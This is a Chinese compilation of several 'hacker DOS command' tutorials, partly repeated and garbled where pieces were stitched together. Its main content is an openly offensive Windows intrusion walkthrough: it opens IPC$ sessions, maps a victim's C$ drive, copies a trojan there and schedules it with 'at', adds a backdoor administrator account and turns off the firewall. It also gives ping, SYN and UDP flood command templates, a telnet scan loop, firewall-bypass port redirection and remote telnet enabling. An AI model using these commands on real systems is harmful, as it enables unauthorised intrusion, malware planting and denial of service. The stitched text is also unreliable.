DOS攻击命令大全
windows下dos攻击入浸的一些命令讲解
windows下dos攻击、入浸的一些命令讲解windows下dos攻击、入浸的一些命令讲解2010-08-12 14:40:19来源:作者:一些常用的net命令与例子：ip地址我就以192.168.1.1为例了,一般像我们不能连接却不能进行其它的操作时，可以把防火墙给关掉net stop一些常用的net命令与例子：ip地址我就以192.168.1.1为例了,一般像我们不能连接却不能进行其它的操作时，可以把防火墙给关掉net stopsharedaccess1、建立ipC连接或是直接映射的命令net use \\ip\ipc$ password /user:usernamenet use \\ip\abc username:admin$123例如：net use \\192.168.1.1\ipc$ 123456 /user :administrator这个命令的意思就是与用户名为adminidtrator用户密码为123456的主机192.168.1.1建立ipc$空连接2、删除ipC$空连接net use \\ip /del例如：net use \\192.168.1.1 /del删除与主机127.0.0.1已经建立的ipc$连接3、启动关闭服务：net start \\查看已经开启的服务net start servernamenet stop servername例如：net start telnet \\开启telnet服务net stop telnet \\关闭telnet服务4、启动关闭共享net shate ipc$ \\开启ipc$默认共享net share ipc$ /del \\关闭ipc$默认共享net share c=c:\ \\完全共享c盘net share d=d:\ \\删除完全共享的d盘net share e$=e:\ \\建立隐藏共享e盘5、映射硬盘net use z: \\ip\c$例如：net use z: \\192.168.1.1\c$ \\把192.168.1.1的C盘映射成本机的z盘说明：映射成功后，你在我的电脑里面里面就会多出一个硬盘Z，其实Z就是192.168.1.1的C盘！net use z: /del \\断开映射入侵中的作用：把对方的硬盘映射过来以后我们就能直接复制文件到对方的硬盘下面了成功实现的条件：必须与对方建立ipc$连接6、远程复制文件_CopyCopy e:\3389.exe \\192.168.1.1\c$ \\将本地的E盘下的3389.exe这个文件copy到对方192.168.1.1系统的C盘根目录下Copy在入侵中的作用：把本地文件复制到对方硬盘Copy复制成功所需的条件：必须与主机建立ipc$连接7、查看远程系统的时间net time \\ipnet time \\192.168.1.1 \\查看远程主机192.168.1.1的本地时间作用：得到对方时间好为自己计划任务种下木马做准备8、远程运行程序At \\ip time server.exeAt \\192.168.1.1 12:30 c:\server.exe \\让主机在中午12:30分运行我们已经复制到他C盘根目录下的木马server.exe在入侵中作用：这样我们就可以用我们的木马服务端来连接我们木马，，更好的使用图形方式来控制肉鸡.(推荐使用神气儿^_^)9、添加管理员帐号：net user ylinuxs 123456 /add \\添加一个密码为123456名字为ylinuxs的用户net localgroup administrators ylinuxs /add \\把ylinuxs 这个用户提升为管理员或是叫加入到管理员组都是对的注意：有些系统的管理员组不是administrators你要根据实际情况来改，不过99.9%的系统的管理员组还是administrators的。
黑客入门必须掌握8个DOS命令
黑客入门必须掌握8个DOS命令ping它是用来检查网络是否通畅或者网络连接速度的命令。
作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。
下面就来看看它的一些常用的操作。
先看看帮助吧，在DOS窗口中键入：ping /？回车，。
所示的帮助画面。
在此，我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。
试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。
结合上面介绍的-t参数一起使用，会有更好的效果哦。
-n 定义向目标IP发送数据包的次数，默认为3次。
如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。
说明一下，如果-t 参数和-n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。
另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP.下面我们举个例子来说明一下具体用法。
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 .从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是可以修改的。
这里TTL=32表示操作系统可能是win98.（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix）至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了。
八个必须掌握的强大DOS命令
八个必须掌握的强大DOS命令一.ping它是用来检查网络是否通畅或者网络连接速度的命令。
作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。
下面就来看看它的一些常用的操作。
先看看帮助吧，在DOS窗口中键入：ping /? 回车，。
所示的帮助画面。
在此，我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。
试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。
结合上面介绍的-t参数一起使用，会有更好的效果哦。
-n 定义向目标IP发送数据包的次数，默认为3次。
如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。
说明一下，如果-t 参数和-n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。
另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。
下面我们举个例子来说明一下具体用法。
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小。
从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是可以修改的。
这里TTL=32表示操作系统可能是win98。
DOS攻击命令大全
DOS 攻击命令大全攻击命令大全常用DOS 远程攻击命令远程攻击命令*netuser 查看用户列表查看用户列表*netuser 用户名密码用户名密码/add /add 添加用户添加用户*netuser 用户名密码更改用户密码用户名密码更改用户密码*netlocalgroupadministrators 用户名用户名/add /add 添加用户到管理组添加用户到管理组*netuser 用户名用户名/delete /delete 删除用户删除用户*netuser 用户名查看用户的基本情况用户名查看用户的基本情况*netuser 用户名用户名/active:no /active:no 禁用该用户禁用该用户*netuser 用户名用户名/active:yes /active:yes 启用该用户启用该用户*netshare 查看计算机ipc$ipc$共享资源共享资源共享资源*netshare 共享名查看该共享的情况共享名查看该共享的情况*netshare 共享名共享名==路径设置共享。
例如netsharec$=c:*netshare 共享名共享名/delete /delete 删除ipc$ipc$共享共享共享*netuse 查看ipc$ipc$连接情况连接情况连接情况*netuse\\ip\ipc$"*netuse\\ip\ipc$"密码密码密码"/user:""/user:""/user:"用户名用户名用户名"ipc$"ipc$"ipc$连接连接连接*nettime\\ip 查看远程计算机上的时间查看远程计算机上的时间*copy 路径路径:\:\:\文件名文件名文件名\\ip\\\ip\\\ip\共享名复制文件到已经共享名复制文件到已经ipc$ipc$连接的计算机上连接的计算机上连接的计算机上 *netviewip 查看计算机上的共享资源查看计算机上的共享资源*ftp 服务器地址进入ftp 服务器服务器*at 查看自己计算机上的计划作业查看自己计算机上的计划作业*at\\ip 查看远程计算机上的计划作业查看远程计算机上的计划作业*at\\ip 时间命令时间命令((注意加盘符注意加盘符))在远程计算机上加一个作业在远程计算机上加一个作业*at\\ip 计划作业id/delete 删除远程计算机上的一个计划作业删除远程计算机上的一个计划作业*at\\ipall/delete 删除远程计算机上的全部计划作业删除远程计算机上的全部计划作业]win2003系统下新增命令及远程控制命令系统下新增命令及远程控制命令Win2003系统下新增命令（实用部份）系统下新增命令（实用部份）shutdown/shutdown/参数关闭或重启本地或远程主机。
DOS命令大全(经典收藏)
DOS命令大全(经典收藏)2011-11-18 21:46:01#1 一：net use \\ip\ipc$ " " /user:" " 建立IPC空链接net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: \\ip\c$ 登陆后映射对方C：到本地为H:net use \\ip\ipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名密码/add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名查看帐户的属性net localgroup administrators 用户名/add 把"用户"添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名开启服务；(如:net start telnet，net start schedule)net stop 服务名停止某服务net time \\目标ip 查看对方时间net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \\ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设置超时间隔。
黑客必备的DOS命令
黑客必备的DOS命令3.1 基本的DOS 命令1、dir命令格式：dir 盘符:\路径参数功能：显示磁盘目录命令。
参数：/p:作用分页显示/W:作用是只显示文件名，至于文件大小及建立的日期和时间都省略。
/a:列出系统的所有文件包括隐藏文件/h:列出系统的隐藏文件例题：dir c:\ /p2、cd命令格式： cd path：进入path路径。
cd ..：放回上一级目录。
cd \：立即返回根目录。
3、批处理命令批处理也称为批处理脚本，顾名思义，就是对某对象进行批量的处理，批处理文件一般有.bat和.cmd扩展名。
创建批处理文件方法一：p1.bat(1)、打开记事本，输入 dir、md text、 dir命令，每个命令用回车换行（2）保存文件名为p1.bat创建批处理文件方法二：p2.bat（1）使用copy con命令：copy con p2.bat（2）接着输入dir、md text、 dir命令，每个命令用回车换行（3）输入完毕后按下ctrl+z，再按回车就完成了创建批处理文件。
3.2 DOS命令的应用1、使用DOS命令扫描端口For /l %a in (1,1,254) do start /low /min telnet 192.168.0. %a %b作用：这样就会扫描192.168.0.x段的全部1到65535段口，同时尝试对主机进行Telnet登陆，若登陆失败则会在5秒内自动退出解释命令：For：是批处理中的循环语句;for /l :就是递增循环for /l %a in (初始值,递增值,结束值) do 批处理命令,这里填的是 1，1,254 就是从1到254增加start ：是执行命令 /min 参数就是最小化执行 /low参数就是优先执行telnet 192.168.0.%a 3389 ：就是扫描 192.168.0.%a的3389端口是否开放。
%a：是for循环递增的值也就是 1,2,3,4,5,6,7 (254)这条命令虽然可以扫描一个网段的3389端口,但是执行效率不高,速度很慢,因为原理是用telnet 去连接对方的3389端口你可以脱离出来测试比如直接telnet 192.168.0.5 3389 查看 192.168.0.5的3389是否开放。
黑客入门必须掌握8个DOS命令
黑客入门必须掌握8个DOS命令ping它是用来检查网络是否通畅或者网络连接速度的命令。
作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。
下面就来看看它的一些常用的操作。
先看看帮助吧，在DOS窗口中键入：ping /？回车，。
所示的帮助画面。
在此，我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。
试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP 就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。
结合上面介绍的-t参数一起使用，会有更好的效果哦。
-n 定义向目标IP发送数据包的次数，默认为3次。
如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。
说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping 下去，而是只ping 3次。
另外，ping命令不一定非得ping IP，也可以直接ping 主机域名，这样就可以得到主机的IP.下面我们举个例子来说明一下具体用法。
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 .从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是可以修改的。
这里TTL=32表示操作系统可能是win98.（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix）至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了。
几个DOS攻击命令方法)
几个DOS攻击命令方法)DOS攻击（Denial of Service）是一种网络攻击方式，旨在通过消耗目标系统的资源，使其无法正常提供服务。
在网络安全领域中，DOS攻击是一种非常常见的攻击方式之一下面是几个DOS攻击的命令方法，以及对应的详细解释：1. Ping Floodping命令是用来测试网络连接的命令之一、使用ping flood方法，攻击者会发送大量的ping请求到目标系统，以使其不堪重负而无法正常提供服务。
命令如下：```ping -f -l <片段长度> <目标IP地址>```其中，-f参数表示使用片段型的ping请求，-l参数表示指定每个请求的数据包长度。
2. SYN FloodSYN Flood是一种利用TCP（传输控制协议）连接握手过程中的漏洞进行攻击的方法。
攻击者会发送大量的TCP连接请求到目标系统，但不会完成握手过程，从而使目标系统的资源被枯竭。
攻击者使用hping3命令来执行SYN Flood攻击，命令如下：```hping3 -c <连接数量> -d <目标端口> -S <目标IP地址>```其中，-c参数表示连接数量，-d参数表示目标端口，-S参数表示发送SYN包。
3. UDP FloodUDP Flood是一种利用用户数据报协议（UDP）的漏洞进行攻击的方法。
UDP是一种无连接的协议，攻击者会向目标系统发送大量的UDP请求，从而使其不堪重负。
攻击者使用hping3命令来执行UDP Flood攻击，命令如下：```hping3 -c <连接数量> -d <目标端口> --udp <目标IP地址>```其中，-c参数表示连接数量，-d参数表示目标端口，--udp参数表示发送UDP包。
4. ICMP FloodICMP Flood是一种利用Internet控制报文协议（ICMP）进行攻击的方法。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
DOS攻击命令大全
常用DOS远程攻击命令
*netuser查看用户列表
*netuser用户名密码/add添加用户
*netuser用户名密码更改用户密码
*netlocalgroupadministrators用户名/add添加用户到管理组
*netuser用户名/delete删除用户
*netuser用户名查看用户的基本情况
*netuser用户名/active:no禁用该用户
*netuser用户名/active:yes启用该用户
*netshare查看计算机ipc$共享资源
*netshare共享名查看该共享的情况
*netshare共享名=路径设置共享。
例如netsharec$=c:
*netshare共享名/delete删除ipc$共享
*netuse查看ipc$连接情况
*netuse\\ip\ipc$"密码"/user:"用户名"ipc$连接
*nettime\\ip查看远程计算机上的时间
*copy路径:\文件名\\ip\共享名复制文件到已经ipc$连接的计算机上
*netviewip查看计算机上的共享资源
*ftp服务器地址进入ftp服务器
*at查看自己计算机上的计划作业
*at\\ip查看远程计算机上的计划作业
*at\\ip时间命令(注意加盘符)在远程计算机上加一个作业
*at\\ip计划作业id/delete删除远程计算机上的一个计划作业
*at\\ipall/delete删除远程计算机上的全部计划作业
]
win2003系统下新增命令及远程控制命令
Win2003系统下新增命令（实用部份）
shutdown/参数关闭或重启本地或远程主机。
参数说明：/S关闭主机，/R重启主机，/T数字设定延时的时间，范围0～180秒之间，/A取消开机，/M//IP指定的远程主机。
例：shutdown/r/t0立即重启本地主机（无延时）
taskill/参数进程名或进程的pid终止一个或多个任务和进程。
参数说明：/PID要终止进程的pid,可用tasklist命令获得各进程的pid，/IM要终止的进程的进程名，/F强制终止进程，/T终止指定的进程及他所启动的子进程。
tasklist显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M列出当前进程加载的dll文件，/SVC显示出每个进程对应的服务，无参数时就只列出当前的进程。
远程控制命令
Shutdown.exe
Shutdown\\IP地址t:2020秒后将对方NT自动关闭（Windows2003系统自带工具，在Windows2000下用进就得下载此工具才能用。
在前面Windows2003DOS
命令中有详细介绍。
）
fpipe.exe
fpipe.exe(TCP端口重定向工具)在第二篇中有详细说明（端口重定向绕过防火墙）
fpipe-l80-s1029-r80当有人扫锚你的80端口时，他扫到的结果会完全是的主机信息
Fpipe-l23-s88-r23目标IP把本机向目标IP发送的23端口Telnet请求经
（与目标IP建立Telnet 端口重定向后，就通过88端口发送到目标IP的23端口。
时本机就用的88端口与其相连接）然后：直接Telnet127.0.0.1（本机IP）就连接到目标IP的23端口了。
OpenTelnet.exe(远程开启telnet工具)
opentelnet.exe\\IP帐号密码ntlm认证方式Telnet端口（不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet\\ip连接上对方。
NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。
ResumeTelnet.exe(OpenTelnet附带的另一个工具)
resumetelnet.exe\\IP 帐号密码用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。